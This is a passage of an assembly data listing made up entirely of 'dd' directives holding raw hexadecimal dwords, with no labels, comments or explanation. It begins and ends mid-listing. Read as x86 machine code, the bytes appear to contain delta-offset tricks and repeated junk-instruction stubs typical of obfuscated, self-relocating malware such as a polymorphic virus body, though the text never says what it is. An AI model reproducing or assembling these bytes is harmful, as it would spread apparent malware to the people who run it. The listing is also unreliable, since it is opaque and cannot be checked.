1006FDB5h, 0C38B5F06h, 7F1BD33h, 0BD890610h, 6100525h dd 6A04E8C1h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1A042444h, 43000000h, 0E0EFC353h, 0FA6E9A01h, 65958920h dd 6606100Dh, 2BF5E2F7h, 56006AD8h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1704h, 0C3564600h, 0DA97A265h, 50F08B93h dd 840Fh, 0F8930000h, 55B5FFh, 0BD8B0610h, 6100125h, 0C9BD8Bh dd 95FF0610h, 61031C9h, 14E8h, 7D119700h, 43AE5C79h, 0B12AE9D6h dd 39A23F58h, 7F5A10D2h, 7BE662Dh, 0B05EAAh, 1311B58Bh dd 70E60610h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 16h, 0C2C35040h, 8F0FCC2Bh, 6, 21CD9589h, 71E40610h dd 0D2941DBEh, 41953105h, 3C06102Fh, 0AA830F61h, 81000001h dd 640766EEh, 0D8B60F70h, 21E5B58Bh, 6BA0610h, 29000000h dd 101FC185h, 49B58B06h, 8B061005h, 50006AC3h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1B04h, 0C3504000h, 302C6DC0h dd 0DDB38E20h, 6A04E8C1h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 18042444h, 42000000h, 0DB8C352h, 6645D4AFh dd 69D6E681h, 81E2F766h, 0B4BB8ECEh, 60D82B0Bh, 8D00D081h dd 0FE8A5A3Eh, 89536061h, 101E81B5h, 0F98B5E06h, 0BD8B5861h dd 6103189h, 880FD82Bh, 10Dh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ah, 24C35040h, 0D7F128DEh, 0BB60B408h dd 282E125Ch, 0B488BA66h, 118C0F61h, 0E9000000h, 0Ch, 0D2A55052h dd 317C4DA4h, 378B929h, 7B9h, 41BD2B00h, 83061031h, 6A00C1h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h dd 0A9A7CDC3h, 13335250h, 8A0F9196h, 0 dd 511526BEh, 0FD93B00h, 8486h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1904h, 0C3524200h, 309640FCh dd 2360E8EAh, 1010B19Dh, 0BD8D8B06h, 61061011h, 0FD98C66h dd 860FF1BFh, 6, 317DB58Bh, 0C1F60610h, 38840F04h, 0F000000h dd 95FFF6B7h, 6100DC9h, 8BF55BF8h, 100075BDh, 3DC32B06h dd 834h, 19860Fh, 29600000h, 103081BDh, 0B1B26006h, 0D38166h dd 0E96161E4h, 5, 8BF9B70Fh, 8BC38BC0h, 0C1BD89D8h, 0C7061021h dd 10287585h, 0D6D51B06h, 52006A18h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1604h, 0C3524200h, 89F18811h dd 101C819Dh, 6AC08B06h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1B042444h, 47000000h, 2BF3C357h, 0C7F511DFh dd 0B58BD052h, 6103055h, 55BD81h, 7D00610h, 850F0000h dd 28h, 66C4BBBEh, 5585FF7Ch, 56061000h, 0FE8h, 0DC0100h dd 0AF682BCEh, 0F8BE79h, 5FA454CAh, 2269B52Bh, 5F5F0610h dd 55B5FFh, 6A0610h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 190424h, 56460000h, 0C1B7CBC3h, 0F160879h, 38Eh, 0F08B6600h dd 2A018D89h, 95FF0610h, 61031C9h, 799B58Bh, 6A900610h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 16042444h dd 47000000h, 0C897C357h, 8D8B603Eh, 6103071h, 8459D89h dd 60600610h, 14E961h, 3CB30000h, 10FF90D4h, 4399CC1h dd 150533ECh, 76DC6F6Dh, 61F810F9h, 6890F61h, 89000000h dd 10020DBDh, 95958906h, 6A06101Eh, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 81BAC352h dd 0E94E2FFEh, 8D89ACB2h, 6100FE5h, 2151BD23h, 6E90610h dd 36000000h, 8D0703FCh, 57006A65h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1704h, 0C3574700h, 2460D564h, 238A0Fh, 8B600000h dd 1030EDBDh, 12E906h, 8DA60000h, 0FFB9F68Eh, 0F1FBA6C3h dd 3D0AF920h, 0E49373CBh, 61CBB70Fh, 51006AFCh, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1504h, 0C3514100h, 0F88B3FBFh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0DAC35141h dd 7436998Bh, 514F20B7h, 30E1B58Bh, 0E95E0610h, 0FFFFF884h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 2DC35242h dd 6AC18Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h dd 57470000h, 2A9E2FC3h, 0EE264AA0h, 0B589B0BCh, 6100EEDh dd 4EBh, 95890000h, 6101149h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 19h, 0B5C35747h, 337646D1h, 0B9858D77h dd 0F061013h, 884h, 8C0F5700h, 0 dd 489505Fh, 50006A24h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1A04h, 0C3504000h, 0BC4D64CBh, 89238199h, 1005B185h dd 0D5852906h, 6A061011h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1C04h, 0C3574700h, 7F712244h dd 535E4FBAh, 0DCBE6688h, 19B501EFh, 6A061016h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h dd 90C68246h, 84E4B291h, 20959D01h, 0BD310610h, 610190Dh dd 1D81858Dh, 0C0830614h, 905F5705h, 50F98B66h, 4A7BE60h dd 8B667372h, 6A9061DAh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 19042444h, 40000000h, 1500C350h, 0C96785FAh dd 8E9h, 63490F00h, 417674E7h, 6A006AF9h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 4D75C356h dd 3475BF43h, 6880FD5h, 29000000h, 10158195h, 6A006A06h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1C042444h dd 45000000h, 0BB3CC355h, 2282CABEh, 8B2A04CFh, 1995FFF3h dd 6A06101Dh, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1A042444h, 41000000h, 76E4C351h, 26B26B71h, 0D89D8D46h dd 890613AFh, 1016CD8Dh, 6AD3FF06h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 3699C356h dd 4F20B774h, 0BD8B43E4h, 61032C5h, 141985FFh, 0BD330610h dd 61014B1h, 8B2E9h, 0E800h, 815D0000h, 141D8BEDh, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h dd 306410DCh, 0BF662688h, 0BD81BB67h, 6100055h, 7D0h, 19D860Fh dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h dd 50400000h, 0AB4FCDC3h, 0BD8B95E9h, 6101A95h, 1685BD2Bh dd 95310610h, 610327Dh, 419D8Bh, 6A0610h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 190424h, 56460000h, 96A58CC3h dd 0E999A103h, 10h, 238AE67Bh, 35B99C41h, 0E5A2B325h, 3AEE7C74h dd 100E381h, 0F560000h, 587h, 0C002BF00h, 0B5E3D9Ah, 0B4850FDBh dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 19042444h, 47000000h, 0F456C357h, 1B36D6A6h, 13E8h dd 95207D00h, 0C6C35FABh, 0B0EED2B7h, 20D48C44h, 0F96A1082h dd 5E9h, 28B63400h, 835E2B19h, 141BA3BDh, 840F0006h, 31h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 75C35747h dd 960AE95h, 100DC5BDh, 0F9B70F06h, 5EE961h, 0BF0F0000h dd 0A385C7F0h, 106141Bh, 6A000000h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 19042444h, 40000000h, 0BDEC350h dd 536221ACh, 2BE9h, 0C7F78B00h, 141BA385h, 6, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h dd 5F504C14h, 419D8Dh, 0E6810610h, 4FA655BFh, 0FEFF2381h dd 6AFFFFh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h dd 52420000h, 0D2368FC3h, 0D1BD8B57h, 66061005h, 0B58BDB8Ch dd 610108Dh, 0F04C3F6h, 8284h, 14E900h, 0E4370000h, 0DC3315EBh dd 0A5D28C1Ah, 4E2AC4DCh, 22E5087Eh, 8A0F3048h, 0 dd 0DC995FFh, 11E80610h, 0E2000000h, 0B5FFDB6Fh, 0B469DADDh dd 0AC9ACFB8h, 9DB80286h, 0E853905Fh, 0Fh, 0F1C6E5A4h dd 0A387B05h, 61A06736h, 668A6CF7h, 5E5FF88Bh, 65B96050h dd 610BA188h, 57006A90h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1404h, 0C3574700h, 0D9BD8B1Ch, 0E906102Eh, 3D0h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 15C35747h, 0CD4D0743h dd 0E0D719BCh, 56BE6699h, 0D3B86083h, 233FBC72h, 1008E18Dh dd 0B06106h, 32CF8166h, 29BD8B0Fh, 0E6061023h, 50006A70h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h dd 897754BBh, 101C15BDh, 0F7816606h, 71E459BBh, 1DA1BD8Bh dd 0B60F0610h, 69BD8BD8h, 0BA06101Ah, 6, 13E9h, 0B7373800h dd 0C25F640Dh, 33DC1A8Ch, 47894075h, 0B2C4EC8h, 6AC38Bh dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h dd 4059A4C3h, 607AC70Dh, 0E9600D13h, 0Dh, 568DFEEFh, 461323FCh dd 616078D0h, 23BE6637h, 0E8C161C8h, 52006A04h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1704h, 0C3524200h, 8A452EC7h dd 8BE2F766h, 1005F9B5h, 0FB8B6606h, 11E8D82Bh, 0A0000000h dd 7E045FCh, 8A8BBDC0h, 47405356h, 4A9B64C9h, 6830Fh, 0B5010000h dd 610085Dh, 7EBF505Eh, 8911EBAAh, 6A241Ch, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 150424h, 53430000h, 539B72C3h dd 7599D09h, 0FF5F0610h, 100055B5h, 25B58B06h, 0FF06102Fh dd 1031C995h, 6DB58906h, 0B006100Dh, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1504h, 0C3524200h, 816615E0h dd 0E62CF3EFh, 0BE71E470h, 36056A57h, 2785B589h, 613C0610h dd 222830Fh, 0BF660000h, 0B60FAF5Dh, 0C5B58BD8h, 0BA061031h dd 6, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h dd 2C35040h, 0F6B70F93h, 956C38Bh, 101CB19Dh, 8B665E06h dd 4E8C1FEh, 0CE9h, 10AA9900h, 118BD202h, 98F8E689h, 0E2F76647h dd 11E8h, 3CFEBC00h, 3C6C7171h, 6DCE6A5Fh, 13EF131Ah, 2B5F4B92h dd 51006AD8h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h dd 0C3514100h, 0F9BF0F4Ah, 57006A58h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1D04h, 0C3574700h, 35F07499h dd 0C2760726h, 8B666C7Dh, 0FD82BF1h, 16388h, 4820F00h dd 66000000h, 0B92B9BBFh, 7, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 16h, 0F5C35343h, 0BD8B98E8h, 610076Dh dd 6A00C183h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1B042444h, 45000000h, 58B3C355h, 0BB279621h, 0D93BEFBBh dd 102860Fh, 0B52B0000h, 6101BC1h, 6AD98C66h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h dd 4AB2C352h, 9589CD50h, 6101A91h, 0F04C1F6h, 0A884h, 8D296000h dd 6101A5Dh, 0C995FF61h, 5B06100Dh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 17h, 0BAC35343h, 0BE0E66D5h, 27A5546h dd 6AC32Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h dd 56460000h, 0F2D0E0C3h, 9E8F2B5h, 1E000000h, 352F2BA3h dd 7E9DE03Bh, 81BD8960h, 8B06102Ah, 100125B5h, 3D5E6106h dd 834h, 2B860Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 180424h, 51410000h, 555361C3h, 29E9BFF4h dd 29000000h, 102F718Dh, 6AC08B06h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 0F2C9C351h dd 3FD16C54h, 0D88BC38Bh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Bh, 92C35646h, 723DBB51h, 0C7F219F1h, 100BA585h dd 318BF106h, 57006A5Bh, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1404h, 0C3574700h, 56F98B4Fh, 619D8960h, 89061023h dd 1016C18Dh, 8B5F6106h, 53006AC0h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1704h, 0C3534300h, 0E0D719BCh, 55BD81h, 7D00610h dd 850F0000h, 48h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 19h, 0A2C35545h, 0B021EA1Bh, 0AE831h, 0CCC80000h dd 52488483h, 0A8ABB0DBh, 6ED8D781h, 2B5E3560h, 101EE9B5h dd 5585FF06h, 0BE061000h, 25C58FA4h, 55B5FFh, 81660610h dd 0FF1430EFh, 1031C995h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1B04h, 0C3574700h, 35453BF8h dd 2F20D759h, 6FE082BFh, 6A9057h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1B0424h, 50400000h, 2E3D3FC3h, 0E8292E83h dd 7E95Ch, 1EF30000h, 63B314B0h, 0CE991h, 0D79C0000h, 3D91358Dh dd 74048140h, 6A853Dh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 170424h, 56460000h, 0C4DD67C3h, 8D096015h, 6102995h dd 2F39BD01h, 8B610610h, 0D6B460F9h, 0DB58960h, 0E9061028h dd 0Ch, 0D586D9E0h, 0DEF1F1DAh, 0D8849313h, 11DD8D8Bh dd 81610610h, 4534DBDFh, 6A610Ah, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 170424h, 55450000h, 97BC23C3h, 298D8904h dd 66061019h, 0E85B70BEh, 0Dh, 0E3B63133h, 9EEA1618h, 0D9AAA83Fh dd 9D952948h, 89061007h, 101659BDh, 6A5E06h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 140424h, 55450000h, 8E9E3C3h dd 71000000h, 6DDC97Eh, 8B46E8E3h, 13E9FAh, 43F20000h dd 7E27A3FAh, 2E300A7h, 0E5054333h, 0BD7C795Dh, 1D9589EFh dd 0E9061028h, 0FFFFF779h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Dh, 0A2C35545h, 26E484CFh, 40AA2950h, 81BD2974h dd 8B06101Eh, 57006AC1h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1C04h, 0C3574700h, 2816D6C6h, 4296C2F9h, 10E88Fh, 5D100000h dd 0D1524EF6h, 779CD725h, 50452C70h, 0DE8168FEh, 3996A8EAh dd 4EB5Fh, 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 17042444h, 42000000h, 18AFC352h, 5F507142h, 1F1D9D89h dd 858D0610h, 61013B9h, 7E8h, 0EF60C600h, 2A680066h, 11E8h dd 8B6A4A00h, 0F6C4A889h, 0E8465B27h, 0C5FEF7B3h, 0B589678Ch dd 6100925h, 13E95F5Fh, 43000000h, 5C881676h, 5C2F9C2Fh dd 903DE104h, 0EB6C86EEh, 6690F4BDh, 5050FB8Bh, 0AE852h dd 4DC40000h, 0C232C59Ch, 0E85B8161h, 0E3F827BEh, 310F5F79h dd 6A90585Ah, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 15042444h, 43000000h, 2986C353h, 227DBD01h, 6A0610h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 3EC35242h dd 168D3EF5h, 6585B015h, 81BD8B2Ch, 6A06102Eh, 0F1D4BE00h dd 858D756Ah, 61427DAh, 31744CBFh, 5C08327h, 840F5090h dd 3, 90FA8B66h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 17h, 39C35242h, 6A2AFC8Fh, 5EF55600h, 0E681006Ah, 8AB0715h dd 2A8DBD09h, 95FF0610h, 6101D19h, 1B75B529h, 9D8D0610h dd 613AFD8h, 12658531h, 0D3FF0610h, 0B70F5653h, 0FF5E5FF8h dd 10141985h, 813E906h, 0E80000h, 5D000000h, 27E4ED81h dd 0B70F0614h, 0B19531FEh, 81061001h, 100055BDh, 7D006h dd 2B860F00h, 6A000001h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1D042444h, 46000000h, 4773C356h, 0CB53AF02h dd 0D90C0939h, 0F9DE8166h, 7D9D8B94h, 29061029h, 101B1D8Dh dd 0E38106h, 66000001h, 0DB0BFB8Bh, 9D850Fh, 6A0000h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h dd 0BD8BFDC3h, 6102815h, 83FB8B66h, 14267CBDh, 840F0006h dd 38h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh dd 67C35545h, 0C9EEBDF5h, 0E98F8CEDh, 51h, 0BE9h, 85562400h dd 3886B28Bh, 0EEF56EEFh, 267C85C7h, 10614h, 0B58B0000h dd 6101481h, 2CE9h, 9D896000h, 610309Dh, 11E9h, 2018FD00h dd 0B6D40AA6h, 324B2D08h, 65116F18h, 0C7618330h, 14267C85h dd 6, 70BF6600h, 7D9D8DEEh, 81061029h, 0CB7286DFh, 0FF238145h dd 6AFFFFFEh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1C042444h, 43000000h, 0F142C353h, 8D34AD49h, 0F7D4724h dd 8C66F9BFh, 55006ADBh, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1C04h, 0C3554500h, 51D5F790h, 157C1134h, 0B260521Eh dd 61E18ABEh, 0FDBD8B5Fh, 0F606102Ah, 840F04C3h, 72h, 0DC995FFh dd 6A0610h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h dd 53430000h, 2EBAFCC3h, 880E05C2h, 8D8960A4h, 6100B8Dh dd 6D56EF81h, 90610135h, 5350F78Bh, 6A905Eh, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 140424h, 57470000h, 0E96030C3h dd 0Fh, 0F22DF9DDh, 249CB630h, 0A84B5B4h, 0B310B0DAh, 0DE9610Fh dd 6A000004h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1D042444h, 40000000h, 1E95C350h, 0B5059322h, 0F0F9966Bh dd 108D8529h, 0B00610h, 5359D01h, 70E60610h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 0EAC35242h, 82BF9946h dd 2B34F3F2h, 10087DB5h, 5271E406h, 1695BD8Bh, 665F0610h dd 0F71F3BFh, 6AD8B6h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1A0424h, 56460000h, 7DF31C3h, 0F3969E9h, 6BAh, 0E9C38B00h dd 9, 541B94D6h, 298F0C97h, 4E8C17Fh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 15h, 0DEC35343h, 0FDB58BA1h, 0F061001h dd 38Dh, 0F0B70F00h, 6AE2F766h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1C042444h, 40000000h, 9719C350h, 11DDA27Bh dd 8964126Bh, 10142D8Dh, 6AD82B06h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 41FAC352h dd 19878115h, 3BE8838h, 5069DCD4h, 11E9h, 9310C100h, 4074A9F3h dd 0E4351E5Eh, 0EA385BF1h, 1C890AA0h, 52006A24h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h dd 209A1BB2h, 66B151C8h, 4D5FEF81h, 0FFFFB70Fh, 100055B5h dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h dd 0C3514100h, 87073DAh, 850F89D7h, 1, 0C995FFF9h, 6A061031h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 17042444h dd 45000000h, 9188C355h, 0B5332F1Ah, 6100805h, 1FF1BD89h dd 0B00610h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 18h, 9C35545h, 99CB7383h, 11E9h, 378A7200h, 93EB3A99h dd 0DDD2343Ch, 0C0A36D01h, 70E62039h, 0A122BE66h, 6A71E4h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h dd 0BF804AC3h, 0F90882E8h, 613C4AE2h, 1D2830Fh, 6A0000h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h dd 0E97BB4C3h, 3C2D0B45h, 66D8B60Fh, 0C45DF81h, 6BAh, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h dd 0D9792071h, 0F69B58Bh, 0C38B0610h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 19h, 0D0C35242h, 0AEB82D8Fh, 54BE6607h dd 4E8C101h, 29B9B58Bh, 0F7660610h, 5CBF66E2h, 59BD0B94h dd 2B061021h, 53006AD8h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1C04h, 0C3534300h, 0D4807909h, 0EFFDCD74h, 9D95895Dh dd 58061008h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 17h, 1C35040h, 2BEAD191h, 0ED880FD8h, 8B000000h, 1011DDBDh dd 7B906h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1B0424h, 52420000h, 0AE88C8C3h, 0AC8F6917h, 0CE9A5h dd 0CB490000h, 0F12DFE8Fh, 7ED09C22h, 5BBF061Ah, 8355A657h dd 8B6600C1h, 0FD93BF8h, 9B86h, 21B58B00h, 6606101Eh, 0CE9D98Ch dd 59000000h, 0BE7A2DB1h, 0EC2CA9FBh, 0F62D593Bh, 840F04C1h dd 55h, 7A64BF66h, 95FF5F52h, 6100DC9h, 3DECBE66h, 0F781665Bh dd 81667B1Ah, 2BED8FD7h, 50006AC3h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1B04h, 0C3504000h, 0E72A8FB7h, 4F0CD715h dd 8343Dh, 0A860F00h, 0E9000000h, 28h, 0F1B70F57h, 6AC08B5Eh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 14042444h dd 43000000h, 66A8C353h, 3E86F681h, 0D88BC38Bh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 36C35343h, 20169E43h dd 85C74974h, 6100041h, 521E0B13h, 0EDD8509h, 8D0F0610h dd 6, 8952CE81h, 0C08B781Ch, 6840Fh, 85010000h, 6101395h dd 55BD81h, 7D00610h, 850F0000h, 2Ah, 5585FFh, 6A0610h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h dd 7C2C59C3h, 3ECDC766h, 0B5FFD995h, 6100055h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 19h, 89C35040h, 5C556B62h dd 0C995FF6Ah, 89061031h, 1029E995h, 8B669006h, 58BE66F3h dd 5D8D8925h, 8B061013h, 101E71BDh, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1604h, 0C3514100h, 0E96ED1ADh dd 0Ch, 8F330EBEh, 0FAEC5DD6h, 28C1A416h, 6AFB8Bh, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h dd 0A6F984C3h, 0DB640941h, 81664AD2h, 946BEEEh, 10117595h dd 0FEBF0F06h, 1715B531h, 8E0F0610h, 9, 2D219D89h, 8B660610h dd 5860FFBh, 0BF000000h, 79151FB9h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 14h, 0FAC35747h, 0E851006Ah, 3 dd 59C35920h, 4244C89h, 4244481h, 16h, 64C35141h, 6060B220h dd 0B2EA8166h, 0F18D8BC4h, 5706100Bh, 0EDB86659h, 880F61CEh dd 3, 8ACEB70Fh, 9D8961F1h, 6101BD5h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Dh, 89C35747h, 2B551838h, 395BE0C9h dd 0DE9F9h, 0BF610000h, 8DC2E6C3h, 940550F2h, 8961BE40h dd 101D518Dh, 0F7F8E906h, 7BFFFFFh, 8B213245h, 10126DB5h dd 6A6006h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h dd 53430000h, 973AFDC3h, 38C3B962h, 16C1B531h, 0FEB90610h dd 6AFFFFFFh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1A042444h, 43000000h, 333C353h, 86EAEE2Ch, 0DE8120h dd 2139EBD8h, 1005298Dh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1804h, 0C3554500h, 87DFB1FBh, 818D21D7h dd 6A061023h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1C042444h, 46000000h, 68F4C356h, 54DD37AEh, 0BB2F44A1h dd 752DA2DEh, 1E718589h, 8D8B0610h, 6100529h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0F1C35343h, 2F1FCF63h dd 8B506959h, 101DA985h, 0E1835B06h, 41850F01h, 6A000000h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1B042444h dd 42000000h, 0C7DAC352h, 0BC2554F1h, 1606931h, 101DFD9Dh dd 11E906h, 0F7170000h, 52BB6052h, 0CD20453Ch, 3EDEC2F1h dd 61C71EA0h, 23818D8Bh, 6A0610h, 3E850h, 58200000h, 448958C3h dd 44810424h, 140424h, 50400000h, 0E183CBC3h, 27850F01h dd 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 19042444h, 42000000h, 0F051C352h, 0C50CD5A8h, 29BBF081h dd 60617F95h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 16h, 0E6C35646h, 8F0F658Bh, 0 dd 0FFFFFEB9h, 5E9FFh, 81BE0000h, 89743F1Ah, 1010E1B5h dd 18D2106h, 0E9061028h, 0Bh, 3971145Eh, 0F268B847h, 21D0A33Dh dd 102AB18Dh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1804h, 0C3554500h, 93AEEC11h, 21BD8971h, 8B06102Ah dd 1028018Dh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1404h, 0C3574700h, 61958B17h, 8306101Ch, 850F01E1h dd 2Ah, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h dd 5EC35747h, 0B738FEA0h, 860FFA8Ah, 2, 8D8BFE8Bh, 6102AB1h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 56C35242h dd 0DA96EADEh, 79B58B74h, 83061021h, 850F01E1h, 24h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0AFC35343h, 11A1B589h dd 0C38B0610h, 0FEB96061h, 6AFFFFFFh, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 369BC357h dd 7D8D2196h, 0E9061029h, 0Eh, 0B619FD3Fh, 78C72B3Bh, 63606A91h dd 8D21B66Ch, 6102875h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 15h, 26C35646h, 9EEA81D3h, 8B16731Eh, 10297D8Dh dd 6E906h, 997E0000h, 3B49B763h, 0F01E183h, 2485h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h dd 890F2C2Ch, 1, 758D8BF8h, 6A061028h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 0FAE2C352h dd 8B67172Ch, 10E18D89h, 0E1830610h, 1F850F01h, 57000000h dd 178A0Fh, 11E80000h, 0A7000000h, 0FD0EA0CEh, 902B5612h dd 48D0B60Ch, 882EA02Eh, 60615A5Ah, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Bh, 0ABC35141h, 8E9666EDh, 0B9F3D589h dd 0FFFFFFFEh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Dh, 0B2C35040h, 19A4EEDEh, 89E6C86Fh, 0A58D21FDh, 6A06100Bh dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1C042444h dd 47000000h, 969DC357h, 0CC3466ABh, 21208ECFh, 1000418Dh dd 0A58D8B06h, 8306100Bh, 850F01E1h, 0Ch, 1915B533h, 0B5090610h dd 610161Dh, 418D8Bh, 6A0610h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 170424h, 55450000h, 6A2910C3h, 0E183FC68h dd 2850F01h, 0B4000000h, 6A60618Bh, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 0CEF2C357h dd 8E96A45h, 2D000000h, 0AD730D34h, 8B073306h, 10191D8Dh dd 5585C706h, 0D0061000h, 6A000007h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 19042444h, 